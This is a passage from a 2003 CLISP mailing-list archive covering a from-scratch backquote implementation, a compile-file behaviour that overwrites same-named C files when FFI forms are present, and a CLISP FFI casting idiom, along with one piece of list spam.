hand, in other cases we can produce a more accurate error message than > that a comma has occured outside of a backquote. > > I still have a few items to do: > > - the ,. destructive splicing syntax is not implemented as destructive > syntax; it's semantically equivalent to ,@ right now. > - the code generated by the backquote is not optimized; it > does lots of atrocious consing like (append (list '1) (list '2)). > - I have to conform the error messages to the internalization > system in CLISP. Probably I will just reuse the existing ones, > for the most part. > - write some automated tests that exercise complex backquotes, > like the ones that bugged out on me. > > If anyone is interested, I can provide a clean patch against the 2.30 > release. released under GNU GPL? > By the way. Let's try something: > > ;;; expected result: (FOO `(BAR (BAZ 'A A) (BAZ 'B B) ...)) > ;;; CLISP result: (FOO `(BAR NIL NIL NIL NIL)) > > (defun breaks-on-clisp () > (let ((list '(a b c d))) > `(foo `(bar ,@',(mapcar #'(lambda (sym) > `(baz ',sym ,sym)) > list))))) > > [1]> (breaks-on-clisp) > (FOO (APPEND (LIST 'BAR) '((BAZ 'A A) (BAZ 'B B) (BAZ 'C C) (BAZ 'D D)))) > > Woo hoo! Not bad for two evenings of hacking. ;) > > How about the pretty printer breakage, whereby the backquote is > printed wrongly, but still evals right? > > ``,,`,3 ==> `,NIL (stock CLISP) > > ``,,`,3 ==> 3 (hacked CLISP) > > Score again! In fact, under the new hack, the ``,,`,FOO is completely > reduced to FOO, watch this; > > (macroexpand '``,,`,FOO) > ==> FOO ; T > > Ha! Great! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Good programmers treat Microsoft products as damage and route around it. From kaz@footprints.net Sat Mar 15 10:34:14 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uGTV-0003S3-00 for ; Sat, 15 Mar 2003 10:33:42 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18uGT1-000814-00; Sat, 15 Mar 2003 10:33:11 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 15 10:35:06 2003 X-Original-Date: Sat, 15 Mar 2003 10:33:10 -0800 (PST) On 15 Mar 2003, Sam Steingold wrote: > Did you check that the two defects are gone: > > 1. in backquote.lisp; > > ;; Bug: With nested backquotes some partial forms are evaluated several > ;; times (e.g. in the primary evaluation: forms, which are needed for > ;; the interpretation of secondary evaluation forms) and should > ;; therefore be free from side-effects. Need to dig into this more to understand the problem. > 2. : > > Multiple backquote combinations like ,,@ or ,@,@ are not > implemented. Their use would be confusing anyway. But a naive test of ,@,@ appears to works in stock CLISP: ``(,@,@(list '(+ 2 2))) ==> `(,@(+ 2 2)) ==> (APPEND (+ 2 2)) ;; my version The reason my version redues to APPEND is because the outer backquote generates another backquote, which is recursively expanded. Again, will look deeper into the issue to understand the real problem. > > If anyone is interested, I can provide a clean patch against the 2.30 > > release. > > released under GNU GPL? I will probably just assign the copyright (of the donated version of the code) to you or Bruno, or else make it BSD like. From don-sourceforge@isis.cs3-inc.com Sat Mar 15 17:37:31 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uN5d-0003r2-00 for ; Sat, 15 Mar 2003 17:37:29 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h2G1Xb404597 for clisp-list@lists.sourceforge.net; Sat, 15 Mar 2003 17:33:37 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15987.54384.957629.840785@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 15 17:38:19 2003 X-Original-Date: Sat, 15 Mar 2003 17:33:36 -0800 Any idea why this is? I know it's hard to believe, but I did strace of clisp doing compile-file and I see ... readlink("/root" ... (I'm doing this from root - does that matter?) lstat64("/root/foo.c" ... readlink("/root" ... lstat64("/root/foo.c" ... unlink("/root/foo.c") ... From kaz@footprints.net Sun Mar 16 07:47:34 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uaLo-0008Sk-00 for ; Sun, 16 Mar 2003 07:47:04 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18uaLB-0006tl-00; Sun, 16 Mar 2003 07:46:25 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Tretment of ,@,@ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 07:48:06 2003 X-Original-Date: Sun, 16 Mar 2003 07:46:25 -0800 (PST) On Sat, 15 Mar 2003, Kaz Kylheku wrote: > > 2. : > > > > Multiple backquote combinations like ,,@ or ,@,@ are not > > implemented. Their use would be confusing anyway. > > But a naive test of ,@,@ appears to works in stock CLISP: > > ``(,@,@(list '(+ 2 2))) > > ==> `(,@(+ 2 2)) > ==> (APPEND (+ 2 2)) ;; my version I've been doing more tests, and it appears that my backquote produces the same result with various ,@,@ situations as does the stock one. So nothing breaks at least. However, one would expect the behavior to be like this: ``(,@,@'((list '+ 1 2) 3 4)) on the first evaluation, the outer ,@ splices in the list ((list '+ 1 2) 3 4) leaving this: `(,@(list '+ 1 2) 3 4) and so in the second round of expansion, the inner ,@ operator works only on the first element: ((+ 1 2) 3 4) However, from both backquote implementations I get ``3 is not a list''. Assuming that the behavior I described is the right one, you can of course get it this way, by separately treating the CAR and CDR of the list. ``(,,(first '((list '+ 1 2) 3 4)) ,@',(rest '((list '+ 1 2) 3 4))) Note the extra quote in the ,@', which suppresses the additional evaluation of the results of the REST which would otherwise take place, in accordance with the semantics that once the tail section is spliced in by the outer ,@ it should not be evaluated again by the inner ,@. I clearly have to do more research on ,@,@ and perhaps take it up on comp.lang.lisp. From sds@gnu.org Sun Mar 16 10:19:09 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uciz-00060V-00 for ; Sun, 16 Mar 2003 10:19:09 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop018.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030316181900.OXUN6884.pop018.verizon.net@loiso.podval.org>; Sun, 16 Mar 2003 12:19:00 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2GIJgTx002597; Sun, 16 Mar 2003 13:19:42 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2GIJfmN002593; Sun, 16 Mar 2003 13:19:41 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? References: <15987.54384.957629.840785@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15987.54384.957629.840785@isis.cs3-inc.com> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop018.verizon.net from [151.203.48.207] at Sun, 16 Mar 2003 12:18:59 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 10:20:01 2003 X-Original-Date: 16 Mar 2003 13:19:41 -0500 > * In message <15987.54384.957629.840785@isis.cs3-inc.com> > * On the subject of "[clisp-list] (compile-file "foo.lisp") deletes foo.c ??" > * Sent on Sat, 15 Mar 2003 17:33:36 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > Any idea why this is? > I know it's hard to believe, but I did strace of clisp doing > compile-file and I see > ... > readlink("/root" ... > (I'm doing this from root - does that matter?) > lstat64("/root/foo.c" ... > readlink("/root" ... > lstat64("/root/foo.c" ... > unlink("/root/foo.c") > ... : : Warning If you have two files in the same directory - #P"foo.lisp" and #P"foo.c", and you compile the first file with CLISP, the second file will be clobbered if you have any "FFI" forms in the first one! (this is relevant only for the latest CLISP, older versions clobbered the C file even if you had no FFI forms). -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux My other CAR is a CDR. From don-sourceforge@isis.cs3-inc.com Sun Mar 16 11:25:52 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18udlX-0004RS-00 for ; Sun, 16 Mar 2003 11:25:52 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h2GJLoO21953; Sun, 16 Mar 2003 11:21:50 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15988.52941.762621.808780@isis.cs3-inc.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? In-Reply-To: References: <15987.54384.957629.840785@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 11:26:14 2003 X-Original-Date: Sun, 16 Mar 2003 11:21:49 -0800 Sam Steingold writes: > : > : > > Warning If you have two files in the same directory - #P"foo.lisp" > and #P"foo.c", and you compile the first file with CLISP, > the second file will be clobbered if you have any "FFI" forms > in the first one! > > (this is relevant only for the latest CLISP, older versions clobbered > the C file even if you had no FFI forms). hmm, not in my (out of date) impnotes, of course. The reference above doesn't tell me why this is necessary or reasonable. It seems to me clearly undesirable. It also says "only if :OUTPUT-FILE is not NIL". What does that have to do with it? It doesn't mention what the value of NIL means. Also that table says "default" file type. That suggests there's a way to override it. How? The FFI forms suggests that this file is being written to support FFI forms. Is it then to be compiled? If so, there must be another output file (which seems to be undocumented) - I didn't lose my foo.o file. Tell me where I can find out the details of what's going on so that I can try to find some better alternative. From a.bignoli@computer.org Sun Mar 16 12:57:54 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ufCa-0005JV-00 for ; Sun, 16 Mar 2003 12:57:52 -0800 Received: from ghimel.fauser.it (IDENT:0@pool2-ip21.fauser.it [80.20.153.116]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id VAA24895; Sun, 16 Mar 2003 21:54:06 +0100 (MET) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.8/8.12.8) with ESMTP id h2GKvTBr000208; Sun, 16 Mar 2003 21:57:29 +0100 Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.8/8.12.8) with ESMTP id h2GKowXD001902; Sun, 16 Mar 2003 21:51:01 +0100 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.8/8.12.8/Submit) id h2GKlmJG001828; Sun, 16 Mar 2003 21:47:48 +0100 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15988.58100.671878.409260@dalet.fauser.it> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] FFI guru/wizard award to be rewarded In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E45F@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E45F@G8PQD.blf01.telekom.de> X-Mailer: VM 7.07 under Emacs 21.2.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 12:58:22 2003 X-Original-Date: Sun, 16 Mar 2003 21:47:48 +0100 Hoehle, Joerg-Cyril writes: > Hi, > > trying to obtain more feedback on CLISP FFI issues (not just Sam > and me), I'll give the title of CLISP FFI guru to anybody who can > explain why the following works: well, it depends on what you mean by "why": I have a very high level explanation, but details and intricacies of CLISP FFI are still far from my understanding... > ;this one does not preserve the foreign-pointer object > ; which is bad, but ignore it > (defun fcast (ff c-type) > "Create a funcall'able FOREIGN-FUNCTION object at the given address, according to the supplied C type declaration" > (with-c-var (new-function 'c-pointer (foreign-address ff)) > (cast new-function c-type))) ffi:with-c-var allocates space on the C stack for a c-pointer foreign place, calls it new-function and assigns to it the foreign address associated with ff. Then ffi:cast creates a new foreign place of type c-type having the same value of new-function (i.e., it "points" to the same address). The value of the new foreign place is returned, and new-function is lost. I used the same "pattern" in a different situation: I have a foreign functions (let's say my-func) that accepts, as an :out parameter, a pointer to the following structure: (def-c-struct my-struct (data c-pointer) (size uint32)) The function allocates some memory and assign its address to the data member of the structure and the size of allocated memory to the size member. I wrote the following function to read the returned data as a vector of unsigned-bytes: (defun my-func-wrapper (...) (let* ((result (my-func ...)) (data (my-struct-data result))) (unwind-protect (with-c-var (p 'c-pointer data) (cast p `(c-ptr (c-array uint8 ,(my-struct-size result)))))) (linux:free data))) This technique is really convenient when the size of returned data can be determined only at runtime. If, on the contrary, data returned is a well known C type, it is better to avoid with-c-var/cast overhead by using an ad-hoc foreign function for the conversion. For example, if the function returns a C int (size is always sizeof(int)), better perfomances can be obtained this way: (defun my-func-int-wrapper (...) (let* ((result (my-func ...)) (data (my-struct-data result))) (unwind-protect (get-int-foreign-data data) (linux:free data)))) (def-c-call get-int-data (:name "get_int_data") (:arguments (p c-pointer :in)) (:return-type int)) int get_int_data (void *p) { return *(int *)p; } Not elegant, but quite fast :) From sds@gnu.org Sun Mar 16 15:16:59 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uhN9-0006Ty-00 for ; Sun, 16 Mar 2003 15:16:55 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030316231649.LQGB4892.out006.verizon.net@loiso.podval.org>; Sun, 16 Mar 2003 17:16:49 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2GNHWTx003073; Sun, 16 Mar 2003 18:17:32 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2GNHVKx003069; Sun, 16 Mar 2003 18:17:31 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? References: <15987.54384.957629.840785@isis.cs3-inc.com> <15988.52941.762621.808780@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15988.52941.762621.808780@isis.cs3-inc.com> Message-ID: Lines: 56 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.48.207] at Sun, 16 Mar 2003 17:16:48 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 15:17:26 2003 X-Original-Date: 16 Mar 2003 18:17:31 -0500 > * In message <15988.52941.762621.808780@isis.cs3-inc.com> > * On the subject of "Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ??" > * Sent on Sun, 16 Mar 2003 11:21:49 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > Sam Steingold writes: > > > : > > : > > > > Warning If you have two files in the same directory - #P"foo.lisp" > > and #P"foo.c", and you compile the first file with CLISP, > > the second file will be clobbered if you have any "FFI" forms > > in the first one! > > > > (this is relevant only for the latest CLISP, older versions clobbered > > the C file even if you had no FFI forms). > > hmm, not in my (out of date) impnotes, of course. maybe it's time to upgrade? > The reference above doesn't tell me why this is necessary or > reasonable. It seems to me clearly undesirable. > It also says "only if :OUTPUT-FILE is not NIL". What does that > have to do with it? It doesn't mention what the value of NIL means. :OUTPUT-FILE NIL means do not write *.fas. CLHS should explain that. > Also that table says "default" file type. > That suggests there's a way to override it. How? :OUTPUT-FILE "foo.baz" will write "foo.baz" instead of "foo.fas". you cannot change the LIB, C and LIS file types. > The FFI forms suggests that this file is being written to support FFI > forms. Is it then to be compiled? If so, there must be another > output file (which seems to be undocumented) - I didn't lose my foo.o > file. you have to invoke a C compiler on the generated C file yourself. > Tell me where I can find out the details of what's going on so that > I can try to find some better alternative. Look at the bindings/linuxlibc6 module (and the modules docs in general). CLISP sources have src/foreign.d and src/foreign1.lisp, src/dirkey.d and src/dirkey1.lisp - for this exact reason. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux The software said it requires Windows 3.1 or better, so I installed Linux. From don-sourceforge@isis.cs3-inc.com Sun Mar 16 16:31:11 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18uiWy-00011A-00 for ; Sun, 16 Mar 2003 16:31:08 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h2H0R3W25354; Sun, 16 Mar 2003 16:27:03 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15989.5719.489749.581554@isis.cs3-inc.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? In-Reply-To: References: <15987.54384.957629.840785@isis.cs3-inc.com> <15988.52941.762621.808780@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 16:32:05 2003 X-Original-Date: Sun, 16 Mar 2003 16:27:03 -0800 Sam Steingold writes: > :OUTPUT-FILE NIL means do not write *.fas. > CLHS should explain that. nope > > Also that table says "default" file type. > > That suggests there's a way to override it. How? > > :OUTPUT-FILE "foo.baz" will write "foo.baz" instead of "foo.fas". > you cannot change the LIB, C and LIS file types. I never understood the lib file either, now that you mention it. > > The FFI forms suggests that this file is being written to support FFI > > forms. Is it then to be compiled? If so, there must be another > > output file (which seems to be undocumented) - I didn't lose my foo.o > > file. > > you have to invoke a C compiler on the generated C file yourself. ok, I see under Extensions-2.3. The Foreign Function Call Facility: A foreign function description is written as a Lisp file, and when compiled it produces a .c file which is then compiled by the C compiler and may be linked together with lisp.a. Is there any reason that file has to be foo.c ? Could there be an argument to compile-file to specify where this and any other generated files go? Could the default be something less likely to be already used, say foo-ffi.c ? Could the default behavior even be that such generated files start with some sort of identifying comment, such as /* generated from foo.lisp by clisp compiler (version ...) */ and that if the file already exists and does not have that comment, an error is generated? The fact that recent versions (more recent than mine) don't clobber foo.c when foo.lisp has NO FFI stuff in it is certainly a step in the right direction and suggests that someone is aware of the problem and is willing to do something to fix it. Let me know if you think my help in implementing any of the suggestions above will be of any value. > Look at the bindings/linuxlibc6 module (and the modules docs in > general). I found this, but don't see quite what you think I should look for. In any case, I think the above quotation from impnotes supplies enough information for now. > CLISP sources have src/foreign.d and src/foreign1.lisp, src/dirkey.d > and src/dirkey1.lisp - for this exact reason. I see, I'm not the first to be bitten by this, but the "solution" that was chosen won't prevent people like me from being bitten in the future. From opensource_123@aol.com Sun Mar 16 17:29:19 2003 Received: from host-216-252-164-55.interpacket.net ([216.252.164.55] helo=216.252.164.55) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ujRD-000540-00 for ; Sun, 16 Mar 2003 17:29:17 -0800 Received: from anther.webhostingtalk.com ([88.58.121.118]) by da001d2020.lax-ca.osd.concentric.net with QMQP; Mar, 16 2003 4:16:59 PM +1200 Received: from 30.215.79.204 ([30.215.79.204]) by m10.grp.snv.yahoo.com with SMTP; Mar, 16 2003 3:05:41 PM -0200 From: Alexandria Balwin To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-Priority: 1 Message-Id: Subject: [clisp-list] Why Not Touch Everyone Today! Free! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 17:30:11 2003 X-Original-Date: Sun, 16 Mar 2003 17:29:11 -0800 Thank you!

If you believe this is spam, please click here.

You are receiving this email because you opted-in to receive special offers from
Free Marketing Solutions ® through one of our marketing partners. If you do not wish to
receive additional special offers, please follow the unsubscribe instructions below.




Imagine Winning A $5000.00 Advertising Package!


Enter Your First Name






You have received this email because you visited our partner or
site and commenced registration to receive our newsletter and/or
special information pertaining to your exclusive interests.

If you have received this email in error or would like to unsubscribe,
simply "click" the following link:
Remove Please!



From sds@gnu.org Sun Mar 16 20:13:51 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18um0V-0007el-00 for ; Sun, 16 Mar 2003 20:13:51 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop018.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030317041344.RRFU6884.pop018.verizon.net@loiso.podval.org>; Sun, 16 Mar 2003 22:13:44 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2H4ESTx003632; Sun, 16 Mar 2003 23:14:28 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2H4ESsL003628; Sun, 16 Mar 2003 23:14:28 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? References: <15987.54384.957629.840785@isis.cs3-inc.com> <15988.52941.762621.808780@isis.cs3-inc.com> <15989.5719.489749.581554@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15989.5719.489749.581554@isis.cs3-inc.com> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop018.verizon.net from [151.203.48.207] at Sun, 16 Mar 2003 22:13:44 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 16 20:14:23 2003 X-Original-Date: 16 Mar 2003 23:14:27 -0500 > * In message <15989.5719.489749.581554@isis.cs3-inc.com> > * On the subject of "Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ??" > * Sent on Sun, 16 Mar 2003 16:27:03 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > I never understood the lib file either, now that you mention it. Did it occur to you to _click_ on the underlined "lib" in the impnotes?! > Is there any reason that file has to be foo.c ? > Could there be an argument to compile-file to specify where this > and any other generated files go? can you tell 'gcc -c foo.c' to write object file in foo.obj and not foo.o? > Could the default be something less likely to be already used, > say foo-ffi.c ? There is a general idea that if you have a set of files named foo.*, then one of them, say, foo.lisp, is the master, and the rest, e.g., foo.fas, foo.lib, foo.lis, foo.txt, foo.c are generated from it. Not everyone subscribes to it, of course. > Could the default behavior even be that such generated files > start with some sort of identifying comment, such as > /* generated from foo.lisp by clisp compiler (version ...) */ > and that if the file already exists and does not have that > comment, an error is generated? sounds reasonable. even if this is implemented, you will need to upgrade to benefit from this, though... It is not clear that this will bring much benefit compared with the current behavior (as opposed to what you observe). What do other users think? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I'm a Lisp variable -- bind me! From don-sourceforge@isis.cs3-inc.com Sun Mar 16 20:49:42 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18umZC-0004aO-00 for ; Sun, 16 Mar 2003 20:49:42 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h2H4jZq28227; Sun, 16 Mar 2003 20:45:35 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15989.21231.399124.447037@isis.cs3-inc.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? In-Reply-To: References: <15987.54384.957629.840785@isis.cs3-inc.com> <15988.52941.762621.808780@isis.cs3-inc.com> <15989.5719.489749.581554@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net 